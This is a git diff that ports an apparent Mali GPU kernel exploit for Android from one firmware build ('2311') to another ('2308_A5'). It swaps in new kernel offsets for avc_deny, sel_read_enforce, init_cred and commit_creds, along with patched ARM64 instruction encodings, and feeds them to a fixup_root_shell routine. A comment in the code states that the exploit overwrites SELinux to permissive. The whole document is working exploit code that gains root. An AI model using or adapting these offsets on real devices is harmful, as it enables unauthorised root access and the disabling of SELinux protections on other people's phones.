diff --git a/firmware_offsets.h b/firmware_offsets.h index 30f6699..a28c101 100644 --- a/firmware_offsets.h +++ b/firmware_offsets.h @@ -1,16 +1,16 @@ #ifndef FIRMWARE_OFFSETS_H #define FIRMWARE_OFFSETS_H -#define AVC_DENY_2311 0x806b50 +#define AVC_DENY_2308_A5 0x806788 -#define SEL_READ_ENFORCE_2311 0x818714 +#define SEL_READ_ENFORCE_2308_A5 0x81834c -#define INIT_CRED_2311 0x271bfa8 +#define INIT_CRED_2308_A5 0x271bf88 -#define COMMIT_CREDS_2311 0x167b40 +#define COMMIT_CREDS_2308_A5 0x167b40 -#define ADD_COMMIT_2311 0x912d0108 //add x8, x8, #0xb40 +#define ADD_INIT_2308_A5 0x913e2000 //add x0, x0, #0xf88 -#define ADD_INIT_2311 0x913ea000 //add x0, x0, #0xfa8 +#define ADD_COMMIT_2308_A5 0x912d0108 //add x8, x8, #0xb40 #endif diff --git a/libGLES_mali.so b/libGLES_mali.so index 986622a..99a04ac 100644 Binary files a/libGLES_mali.so and b/libGLES_mali.so differ diff --git a/mali_jit_csf.c b/mali_jit_csf.c index 724d031..8d4cd3c 100644 --- a/mali_jit_csf.c +++ b/mali_jit_csf.c @@ -51,9 +51,9 @@ static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; uint64_t reused_regions[REUSE_REG_SIZE] = {0}; -static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2311; +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2308_A5; -static uint64_t avc_deny = AVC_DENY_2311; +static uint64_t avc_deny = AVC_DENY_2308_A5; /* Overwriting SELinux to permissive @@ -290,7 +290,7 @@ int main() { setbuf(stdout, NULL); setbuf(stderr, NULL); - fixup_root_shell(INIT_CRED_2311, COMMIT_CREDS_2311, SEL_READ_ENFORCE_2311, ADD_INIT_2311, ADD_COMMIT_2311, &(root_code[0])); + fixup_root_shell(INIT_CRED_2308_A5, COMMIT_CREDS_2308_A5, SEL_READ_ENFORCE_2308_A5, ADD_INIT_2308_A5, ADD_COMMIT_2308_A5, &(root_code[0])); cl_platform_id platform_id = NULL; cl_device_id device_id = NULL; cl_uint ret_num_devices;